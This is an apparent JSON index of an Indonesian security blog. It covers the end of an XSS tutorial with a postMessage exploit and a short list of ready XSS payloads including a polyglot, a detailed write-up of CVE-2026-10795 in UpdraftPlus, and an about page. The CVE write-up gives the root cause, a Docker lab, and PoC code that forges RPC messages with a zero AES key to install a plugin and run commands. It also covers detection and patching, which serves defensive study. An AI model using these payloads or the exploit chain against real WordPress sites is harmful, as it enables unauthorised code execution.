window.addEventListener(\u0026#39;message\u0026#39;, function(event) { document.getElementById(\u0026#39;content\u0026#39;).innerHTML = event.data; }); // Exploit dari halaman penyerang const frame = document.getElementById(\u0026#39;victimFrame\u0026#39;); frame.onload = () =\u0026gt; { frame.contentWindow.postMessage( \u0026#39;\u0026lt;img src=x onerror=alert(document.domain)\u0026gt;\u0026#39;, \u0026#39;*\u0026#39; ); }; Cara mencarinya adalah dengan mencari pola addEventListener.*message atau onmessage dalam file JavaScript lewat DevTools atau Burp. Lalu telusuri ke mana event.data berakhir. Kalau ia masuk ke innerHTML, eval, location.href, atau document.write, maka itu adalah temuan yang valid.\nIdentifikasi WAF Sebelum Bypass Sebelum melempar payload bypass, ada baiknya mengetahui dulu WAF apa yang dihadapi karena WAF yang berbeda punya signature dan kelemahan yang berbeda. Identifikasi pasif bisa dilakukan lewat response header: CF-RAY menandakan Cloudflare, X-CDN: Imperva menandakan Imperva, dan header X-Akamai-* menandakan Akamai. Untuk identifikasi aktif, gunakan wafw00f:\nwafw00f https://target.com Setelah tahu WAF-nya, probe apa saja yang diblokir: apakah \u0026lt;script\u0026gt;, \u0026lt;svg\u0026gt;, atribut on*, kata \u0026ldquo;alert\u0026rdquo;, atau spasi. Setiap temuan yang diblokir mempersempit opsi WAF dan membuka opsi bypass yang relevan.\nLima Payload untuk Pengujian Cepat Untuk pengujian cepat yang mencakup berbagai kemungkinan, lima payload ini sudah cukup sebagai titik awal:\n\u0026lt;svg/onload=alert(1)\u0026gt; \u0026lt;img src=x onerror=alert(1)\u0026gt; \u0026lt;details open ontoggle=alert(1)\u0026gt; \u0026lt;input autofocus onfocus=alert(1)\u0026gt; jaVasCript:/*--\u0026gt;\u0026lt;/title\u0026gt;\u0026lt;/style\u0026gt;\u0026lt;/textarea\u0026gt;\u0026lt;/script\u0026gt;\u0026lt;svg/onload=alert(1)\u0026gt; Yang terakhir adalah polyglot. Kalau konteks injeksi belum diketahui, mulai dengan itu.\nTools Referensi Beberapa tools dan referensi yang berguna untuk pengujian XSS:\nPayloadsAllTheThings XSS Payloads PortSwigger XSS Cheat Sheet JSONBee: JSONP CSP Bypass wafw00f XSStrike dalfox CSP Evaluator XSS adalah salah satu vulnerability di mana menghafal payload hanya membawa sejauh tertentu. Yang membuat seseorang benar-benar efektif, baik di bug bounty maupun pentesting, adalah memahami mengapa browser mengeksekusi kode ketika melihat kombinasi tertentu dari tag, event, dan atribut. Begitu itu dipahami, tag \u0026lt;script\u0026gt; yang diblokir bukan lagi jalan buntu, melainkan pertanyaan: tag mana lagi yang ada, event mana yang otomatis terpicu, dan atribut mana yang filter lupa periksa. Browser memang ingin me-render payload. Tugas kita hanya memahami bahasanya lebih baik dari filter yang berdiri di depannya.\nDisclaimer\nSeluruh teknik dalam artikel ini ditujukan untuk lingkungan lab yang sudah diotorisasi, CTF, dan program bug bounty dalam scope yang jelas. Pengujian pada sistem tanpa izin adalah tindakan ilegal.\nravxytech.site hadir untuk berbagi pengetahuan seputar teknologi dan cyber security secara bertanggung jawab.\n","permalink":"https://ravxytech.site/posts/xss-bukan-hanya-script-alert/","summary":"\u003cp\u003eBanyak orang yang pertama kali belajar XSS bisa paham konsepnya dalam hitungan menit, tapi justru bingung kenapa payload mereka tidak pernah benar-benar berhasil di target nyata. Copy-paste \u003ccode\u003e\u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt;\u003c/code\u003e ke form input, tidak ada yang terjadi. Coba lagi, tetap tidak ada. Akhirnya menyimpulkan bahwa target \u0026ldquo;tidak vulnerable\u0026rdquo;, padahal belum tentu.\u003c/p\u003e\n\u003cp\u003eYang membedakan seseorang yang sekadar menghafal payload dengan yang benar-benar memahami XSS adalah satu hal: mengetahui \u003cem\u003emengapa\u003c/em\u003e sebuah payload bisa dieksekusi browser. Begitu itu dipahami, payload yang diblokir bukan lagi hambatan, melainkan undangan untuk berpikir lebih dalam.\u003c/p\u003e","title":"XSS Bukan Sekadar script alert 1 script: Ini yang Sebenarnya Membuat Payload Berjalan"},{"content":"CVE-2026-10795 adalah salah satu celah keamanan yang cukup menarik untuk dibahas, bukan karena cara eksploitasinya yang spektakuler, tapi justru karena cara kerjanya yang elegan dan memanfaatkan kelalaian kecil yang berantai jadi dampak besar.\nCelah ini ada di UpdraftPlus, plugin WordPress yang sangat populer untuk backup dan restore, tepatnya di komponen UpdraftCentral yang digunakan untuk remote management. Yang membuat CVE ini lebih dari sekadar \u0026ldquo;auth bypass biasa\u0026rdquo; adalah kemampuannya untuk dirantai menjadi Remote Code Execution — bukan lewat injeksi command langsung, melainkan lewat fitur plugin management yang memang sudah ada dan sah digunakan.\nApa Itu CVE-2026-10795? CVE-2026-10795 adalah unauthenticated authentication bypass pada UpdraftPlus WordPress plugin, tepatnya di layer UpdraftCentral RPC (Remote Procedure Call). Vulnerability ini ditemukan di versi UpdraftPlus \u0026lt;= 1.26.4 dan sudah dipatch di versi 1.26.5.\nKondisinya: jika sebuah WordPress site menggunakan UpdraftPlus dan UpdraftCentral sudah dikonfigurasi untuk remote management, seorang penyerang dari luar — tanpa memiliki akun apapun — bisa memalsukan RPC message dan mengelabui plugin agar menjalankan perintah dengan hak administrator, termasuk menginstall dan mengaktifkan plugin WordPress apapun.\nRangkaian serangannya berjalan seperti ini:\nPenyerang tanpa autentikasi → kirim forged UpdraftCentral RPC request → bypass verifikasi signature lewat format=1 → RSA decrypt gagal tapi tidak ditolak → decrypt jatuh ke null key / null IV yang predictable → JSON RPC command palsu berhasil didekripsi → command di-dispatch ke UpdraftCentral → plugin.upload_plugin dipanggil → install + aktifkan plugin → code execution sebagai www-data Root Cause — Di Mana Letak Masalahnya? Masalahnya ada di cara UpdraftPlus menangani pesan RPC dari UpdraftCentral. Plugin ini mendukung dua format pesan:\nformat=1 → format lama (legacy) format=2 → format baru dengan signature verification Format=1 tidak memerlukan signature. Inilah bypass pertama. Di kode aslinya, pemeriksaan signature hanya dilakukan kalau formatnya \u0026gt;= 2:\nif ($format \u0026gt;= 2) { if (empty($_POST[\u0026#39;signature\u0026#39;])) { die; } if (!$this-\u0026gt;key_remote) { die; } if (!$this-\u0026gt;verify_signature($udrpc_message, $_POST[\u0026#39;signature\u0026#39;], $this-\u0026gt;key_remote)) { die; } } Kalau request dikirim dengan format=1, seluruh blok ini dilewati sepenuhnya. Namun masalah utamanya bukan di sini — masalah yang lebih besar ada di bagian decryption.\nSetelah melewati format check, UpdraftPlus mencoba mendekripsi pesan menggunakan RSA untuk mendapatkan symmetric key, lalu menggunakan symmetric key tersebut untuk mendekripsi pesan utama. Kode di versi vulnerable-nya kira-kira seperti ini:\n// Di versi vulnerable (1.26.4): $sym_key = $rsa-\u0026gt;decrypt($sym_key); $rij-\u0026gt;setKey($sym_key); // BUG: tidak ada pengecekan apakah $sym_key valid! return $rij-\u0026gt;decrypt($ciphertext); Kalau RSA decrypt gagal, $rsa-\u0026gt;decrypt() mengembalikan nilai false. Di versi vulnerable, nilai false ini langsung dimasukkan ke setKey() tanpa pengecekan apapun.\nYang terjadi selanjutnya menarik — library phpseclib yang dipakai memiliki behavior seperti ini: kalau key yang diberikan adalah false (yang panjangnya 0 karena strlen(false) === 0), key-nya akan di-pad dengan null bytes menjadi 16 bytes. IV juga jatuh ke 16 null bytes. Artinya, kita bisa tahu persis key dan IV yang akan dipakai server:\nAES-CBC Key: \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 IV: \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 Karena key dan IV-nya sudah diketahui, payload bisa dienkripsi sendiri menggunakan zero key dan zero IV — dan server akan mendekripsinya dengan sukses.\nPatch di versi 1.26.5 menambahkan validasi sederhana sebelum symmetric key digunakan:\n// Di versi patched (1.26.5): $sym_key = $rsa-\u0026gt;decrypt($sym_key); // Guard yang ditambahkan: if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) \u0026lt; 16) { return false; } $rij-\u0026gt;setKey($sym_key); return $rij-\u0026gt;decrypt($ciphertext); Tiga baris sederhana. Itulah perbedaan antara versi yang exploitable dan yang sudah dipatch.\nKenapa Bisa Jadi Code Execution? Authentication bypass-nya terlihat seperti \u0026ldquo;hanya bisa masuk ke sistem\u0026rdquo;. Tapi setelah berhasil melewati autentikasi RPC, penyerang bisa memanggil command UpdraftCentral apapun, termasuk:\nplugin.upload_plugin Command ini adalah fitur sah dari UpdraftCentral untuk mengupload dan menginstall plugin WordPress secara remote. Alurnya seperti ini:\n// Di central/modules/plugin.php public function upload_plugin($params) { return $this-\u0026gt;process_chunk_upload($params, \u0026#39;plugin\u0026#39;); } // process_chunk_upload(): // 1. Decode base64 ZIP data dari params // 2. Tulis ke file temporary // 3. Panggil UpdraftCentral_Plugin_Upgrader-\u0026gt;install($zip_filepath) // 4. Kalau \u0026#39;activate\u0026#39; = true, panggil activate_plugin() Jadi kalau RPC message berisi ZIP plugin, server akan menginstall dan mengaktifkan plugin tersebut — dan kode PHP di dalamnya langsung berjalan dengan hak akses user web server, biasanya www-data.\nCatatan: Agar serangan ini berhasil, dibutuhkan kondisi bahwa UpdraftCentral local key state sudah ada dan terhubung ke user WordPress yang memiliki privilege cukup seperti administrator. Lab di bawah sudah mensimulasikan kondisi ini.\nSetup Lab — Docker Environment Lab untuk mereproduksi CVE ini tersedia di GitHub: rootdirective-sec/CVE-2026-10795-Lab\nLab ini menjalankan dua instalasi WordPress secara paralel via Docker Compose, sehingga bisa langsung membandingkan antara versi vulnerable dan patched secara side-by-side.\nService UpdraftPlus URL vuln 1.26.4 (vulnerable) http://127.0.0.1:8081 patched 1.26.5 (patched) http://127.0.0.1:8082 Struktur repositorinya:\nCVE-2026-10795-Lab/ ├── docker-compose.yml ├── scripts/ │ └── setup-wordpress.sh ├── vuln/ │ └── Dockerfile ├── patched/ │ └── Dockerfile ├── poc/ │ └── poc.py ├── requirements.txt └── README.md Langkah 1 — Clone dan Start Lab Pastikan Docker Desktop atau Docker Engine sudah terinstall, lalu jalankan:\n# Clone repositori git clone https://github.com/rootdirective-sec/CVE-2026-10795-Lab.git cd CVE-2026-10795-Lab # Bersihkan state lama kalau ada, lalu build dan start docker compose down -v --remove-orphans docker compose up -d --build Proses build pertama kali membutuhkan waktu beberapa menit karena perlu mengunduh image dan melakukan setup WordPress.\nLangkah 2 — Pantau Setup Logs docker compose logs -f vuln_setup patched_setup Tunggu sampai muncul output seperti ini untuk masing-masing service:\nSeeded UpdraftCentral key: 0.central.updraftplus.com Plugin updraftplus details: Status: Active Version: 1.26.4 Setup complete for CVE-2026-10795 vuln Seeded UpdraftCentral key: 0.central.updraftplus.com Plugin updraftplus details: Status: Active Version: 1.26.5 Setup complete for CVE-2026-10795 patched Langkah 3 — Verifikasi Service Berjalan docker compose ps Pastikan semua service statusnya running atau healthy.\nSetup Python Environment Beberapa Python package diperlukan untuk menjalankan PoC:\n# Buat virtual environment python3 -m venv venv # Aktifkan source venv/bin/activate # Install dependencies pip install -r requirements.txt Isi requirements.txt:\nrequests urllib3\u0026lt;2 pycryptodome Tutorial PoC — Jalankan Serangan Setelah lab siap, saatnya menjalankan exploit.\nPing Test (Validasi Ringan) Sebelum menjalankan ID proof, ada baiknya mengetes dulu apakah RPC bypass berhasil tanpa mengupload plugin sama sekali — ini fungsinya flag --ping:\n# Test ke vulnerable target python3 poc/poc.py --ping --url http://127.0.0.1:8081 # Test ke patched target python3 poc/poc.py --ping --url http://127.0.0.1:8082 Output yang diharapkan:\nVulnerable (8081): PING DISPATCHED Patched (8082): PING NOT DISPATCHED Kalau ping ke 8081 berhasil, artinya bypass autentikasi RPC bekerja. Kalau ping ke 8082 tidak berhasil, artinya patch bekerja dengan benar.\nID Proof (Full Exploit Chain) Ini adalah serangan penuh — PoC akan membuat plugin WordPress di memory, menguploadnya lewat forged RPC, menginstall dan mengaktifkannya, lalu mengambil output dari /usr/bin/id:\n# Jalankan ke vulnerable target python3 poc/poc.py --url http://127.0.0.1:8081 Output yang diharapkan dari target vulnerable:\nCVE-2026-10795 local lab-only ID validation Scope : localhost / Docker lab only Technique : forged format=1 plugin.upload_plugin with hard-coded id marker plugin Safety : no generic web shell, no cmd parameter, no external targets Key name : 0.central.updraftplus.com Marker plugin : cve-2026-10795-id-marker/cve-2026-10795-id-marker.php ======================================================================================== Target : http://127.0.0.1:8081/ Command : plugin.upload_plugin Decision : RPC DISPATCHED HTTP status : 200 Body bytes : non-zero RPC JSON seen : True Resp. format : 2 ---------------------------------------------------------------------------------------- ID endpoint : http://127.0.0.1:8081/wp-json/cve-lab/v1/id Marker active : True HTTP status : 200 id output : uid=33(www-data) gid=33(www-data) groups=33(www-data) ======================================================================================== Sekarang coba ke patched target:\npython3 poc/poc.py --url http://127.0.0.1:8082 Output yang diharapkan dari target patched:\nTarget : http://127.0.0.1:8082/ Command : plugin.upload_plugin Decision : RPC NOT DISPATCHED HTTP status : 200 Body bytes : 0 RPC JSON seen : False ---------------------------------------------------------------------------------------- ID endpoint : http://127.0.0.1:8082/wp-json/cve-lab/v1/id Marker active : False HTTP status : 404 Body prefix : \u0026#39;{\u0026#34;code\u0026#34;:\u0026#34;rest_no_route\u0026#34;,...}\u0026#39; ======================================================================================== Perbedaannya sangat jelas. Target vulnerable berhasil dieksploitasi dan marker plugin berhasil terinstall. Target patched memblok forged message sebelum sempat sampai ke command dispatch.\nCara Kerja PoC di Balik Layar Ini yang sebenarnya terjadi ketika PoC dijalankan, step by step:\nStep 1 — Generate Marker Plugin\nPoC membuat WordPress plugin ZIP langsung di memory, tanpa menyimpannya ke disk terlebih dahulu. Plugin ini hanya berisi satu file PHP yang mendaftarkan satu REST endpoint:\n/wp-json/cve-lab/v1/id Endpoint tersebut hanya menjalankan satu perintah hard-coded:\nshell_exec(\u0026#39;/usr/bin/id 2\u0026gt;\u0026amp;1\u0026#39;); Tidak ada parameter cmd yang bisa diubah dari luar — sengaja dibuat terbatas untuk tujuan lab.\nStep 2 — Enkripsi Inner JSON\nPoC membuat JSON command yang akan dikirim ke UpdraftCentral:\ninner = { \u0026#34;command\u0026#34;: \u0026#34;plugin.upload_plugin\u0026#34;, \u0026#34;time\u0026#34;: int(time.time()), \u0026#34;key_name\u0026#34;: \u0026#34;0.central.updraftplus.com\u0026#34;, \u0026#34;rand\u0026#34;: random.randint(1, 2_147_483_647), \u0026#34;data\u0026#34;: { \u0026#34;filename\u0026#34;: \u0026#34;cve-2026-10795-id-marker.zip\u0026#34;, \u0026#34;data\u0026#34;: base64.b64encode(zip_bytes).decode(\u0026#34;ascii\u0026#34;), \u0026#34;activate\u0026#34;: True, } } JSON ini kemudian dienkripsi menggunakan zero key dan zero IV:\nZERO_KEY = b\u0026#34;\\x00\u0026#34; * 16 ZERO_IV = b\u0026#34;\\x00\u0026#34; * 16 cipher = AES.new(ZERO_KEY, AES.MODE_CBC, iv=ZERO_IV) ciphertext = cipher.encrypt(pad(plaintext, AES.block_size)) Step 3 — Build Forged RPC Message\nPoC membangun udrpc_message dengan format yang sama seperti yang diharapkan UpdraftCentral, tetapi menggunakan RSA block yang sengaja dibuat invalid:\nBAD_RSA_BLOCK = b\u0026#34;CVE-2026-10795-LAB-BAD-RSA-BLOCK\u0026#34; bad_sym_key_b64 = base64.b64encode(BAD_RSA_BLOCK).decode(\u0026#34;ascii\u0026#34;) ciphertext_b64 = base64.b64encode(ciphertext).decode(\u0026#34;ascii\u0026#34;) sym_key_len = f\u0026#34;{len(bad_sym_key_b64):03x}\u0026#34; ciphertext_len = f\u0026#34;{len(ciphertext_b64):016x}\u0026#34; udrpc_message = f\u0026#34;{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}\u0026#34; RSA block yang invalid ini akan menyebabkan RSA decrypt gagal di server. Di versi vulnerable, kegagalan ini tidak ditolak dan proses berlanjut ke dekripsi menggunakan zero key/IV — persis yang sudah disiapkan di Step 2.\nStep 4 — Kirim Request\nfields = { \u0026#34;format\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;key_name\u0026#34;: \u0026#34;0.central.updraftplus.com\u0026#34;, \u0026#34;udrpc_message\u0026#34;: udrpc_message, } requests.post(target_url, data=fields, timeout=timeout) Request dikirim sebagai POST biasa ke root URL WordPress. Tidak perlu endpoint khusus, tidak perlu cookie, tidak perlu token.\nStep 5 — Verifikasi Impact\nSetelah plugin terinstall, PoC mengecek apakah marker plugin sudah aktif:\ncurl http://127.0.0.1:8081/wp-json/cve-lab/v1/id Verifikasi Manual Beberapa cara untuk memverifikasi status lab secara manual:\nCek service health:\ndocker compose ps Cek inspector endpoint (menampilkan info versi dan status plugin):\ncurl -s http://127.0.0.1:8081/cve-lab-inspector.php | python3 -m json.tool curl -s http://127.0.0.1:8082/cve-lab-inspector.php | python3 -m json.tool Cek marker endpoint setelah PoC dijalankan:\n# Vulnerable — seharusnya mengembalikan uid output curl -s http://127.0.0.1:8081/wp-json/cve-lab/v1/id | python3 -m json.tool # Patched — seharusnya mengembalikan 404 curl -s http://127.0.0.1:8082/wp-json/cve-lab/v1/id | python3 -m json.tool Cek apakah marker plugin ada di filesystem:\n# Di container vulnerable docker compose exec -T vuln sh -lc \\ \u0026#39;find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true\u0026#39; # Di container patched (seharusnya kosong) docker compose exec -T patched sh -lc \\ \u0026#39;find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true\u0026#39; Cara Detect dan Mitigasi Tanda-tanda Serangan Dari sisi HTTP access log, perhatikan POST request ke root / yang mengandung field udrpc_message dengan nilai panjang, terutama jika format=1 dan berasal dari IP yang tidak dikenal. Pola ini tidak lazim untuk traffic WordPress normal.\nDari sisi filesystem, perhatikan jika ada plugin baru yang muncul tiba-tiba di wp-content/plugins/ tanpa ada yang menginstallnya lewat dashboard.\nDari sisi REST API, cek apakah ada endpoint baru yang tiba-tiba muncul dari plugin yang tidak pernah diinstall.\nMitigasi Langkah paling penting: upgrade UpdraftPlus ke versi 1.26.5 atau lebih baru. Update ini tersedia langsung dari WordPress Plugin Repository dan bisa dilakukan dari dashboard WordPress.\nJika fitur remote management UpdraftCentral tidak digunakan, sebaiknya hapus konfigurasi UpdraftCentral key di database. Key ini yang menjadi prasyarat eksploitasi. Caranya bisa lewat UpdraftPlus settings, atau dengan menghapus record terkait di tabel wp_options.\nJika sistem sudah dicurigai dikompromis:\nReview plugin yang terinstall, hapus yang mencurigakan Audit akun WordPress, khususnya yang berperan administrator Periksa access log untuk request yang mengandung udrpc_message Restore dari backup bersih jika diperlukan Rotate semua credential yang mungkin sudah terekspos Untuk monitoring jangka panjang, pertimbangkan untuk:\nMenyiapkan alerting untuk POST request ke root URL WordPress yang mengandung udrpc_message Memonitor perubahan filesystem di direktori wp-content/plugins/ Mengaktifkan notifikasi update plugin WordPress agar tidak ketinggalan patch penting Cleanup Lab Setelah selesai bereksperimen, bersihkan lab dengan:\n# Stop dan hapus containers, network, dan volumes docker compose down -v --remove-orphans # Hapus Python virtual environment rm -rf venv Ringkasan Teknis Kalau dirangkum, chain serangan CVE-2026-10795 berjalan seperti ini: format format=1 melewati signature verification sepenuhnya. RSA block yang sengaja invalid membuat RSA decrypt gagal dan mengembalikan false. Di versi vulnerable, false ini langsung dimasukkan ke setKey() tanpa validasi. phpseclib kemudian menormalisasi key false menjadi 16 null bytes. Karena key sudah diketahui, payload bisa dienkripsi sedemikian rupa sehingga server berhasil mendekripsinya. Payload berisi command plugin.upload_plugin beserta ZIP plugin. Server menginstall dan mengaktifkan plugin tersebut, dan kode PHP di dalamnya langsung berjalan.\nPatch di versi 1.26.5 memotong chain ini di langkah ketiga — jika RSA decrypt gagal, nilai false langsung ditolak dan proses berhenti di sana.\nDisclaimer / Catatan Penting\nArtikel ini dibuat murni untuk tujuan edukasi dan keamanan informasi. Seluruh tutorial di atas menggunakan environment lokal (Docker lab) yang terisolasi dan tidak terhubung ke sistem produksi manapun, tidak saya sarankan untuk hal ilegal.\nPoC yang dijelaskan di sini hanya dapat dijalankan ke localhost dan secara eksplisit menolak target non-lokal. Tujuannya adalah membantu security researcher, developer, dan sysadmin memahami cara kerja celah ini agar dapat mengambil langkah proteksi yang tepat.\nJangan pernah menjalankan exploit ke sistem yang bukan milikmu atau yang tidak memiliki izin eksplisit untuk diuji. Mengeksploitasi sistem tanpa izin adalah tindakan ilegal dan tidak etis.\nJika mengelola WordPress dengan UpdraftPlus, segera upgrade ke versi 1.26.5 atau lebih baru.\nravxytech.site hadir untuk berbagi pengetahuan seputar teknologi dan cyber security secara bertanggung jawab.\n","permalink":"https://ravxytech.site/posts/cve-2026-10795-exploited/","summary":"\u003cp\u003eCVE-2026-10795 adalah salah satu celah keamanan yang cukup menarik untuk dibahas, bukan karena cara eksploitasinya yang spektakuler, tapi justru karena cara kerjanya yang elegan dan memanfaatkan kelalaian kecil yang berantai jadi dampak besar.\u003c/p\u003e\n\u003cp\u003eCelah ini ada di \u003cstrong\u003eUpdraftPlus\u003c/strong\u003e, plugin WordPress yang sangat populer untuk backup dan restore, tepatnya di komponen \u003cstrong\u003eUpdraftCentral\u003c/strong\u003e yang digunakan untuk remote management. Yang membuat CVE ini lebih dari sekadar \u0026ldquo;auth bypass biasa\u0026rdquo; adalah kemampuannya untuk dirantai menjadi \u003cstrong\u003eRemote Code Execution\u003c/strong\u003e — bukan lewat injeksi command langsung, melainkan lewat fitur plugin management yang memang sudah ada dan sah digunakan.\u003c/p\u003e","title":"CVE-2026-10795 — UpdraftPlus RPC Authentication Bypass Chained to Plugin Installation"},{"content":"Tentang Blog Ini Ravxy1337 Tech adalah blog edukasi seputar dunia teknologi dengan fokus pada:\nCybersecurity — Tutorial dan tips keamanan siber Linux — Administrasi server dan sistem operasi Networking — Jaringan komputer dan infrastruktur Blue Team — Pertahanan dan monitoring keamanan Blog ini dibuat sebagai wadah berbagi ilmu dan pengalaman di dunia IT Security.\nKontak Silakan hubungi melalui platform berikut:\nGitHub: ravxy1337 LinkedIn: ravxy1337 ","permalink":"https://ravxytech.site/about/","summary":"Tentang Ravxy1337 Tech","title":"Tentang"}]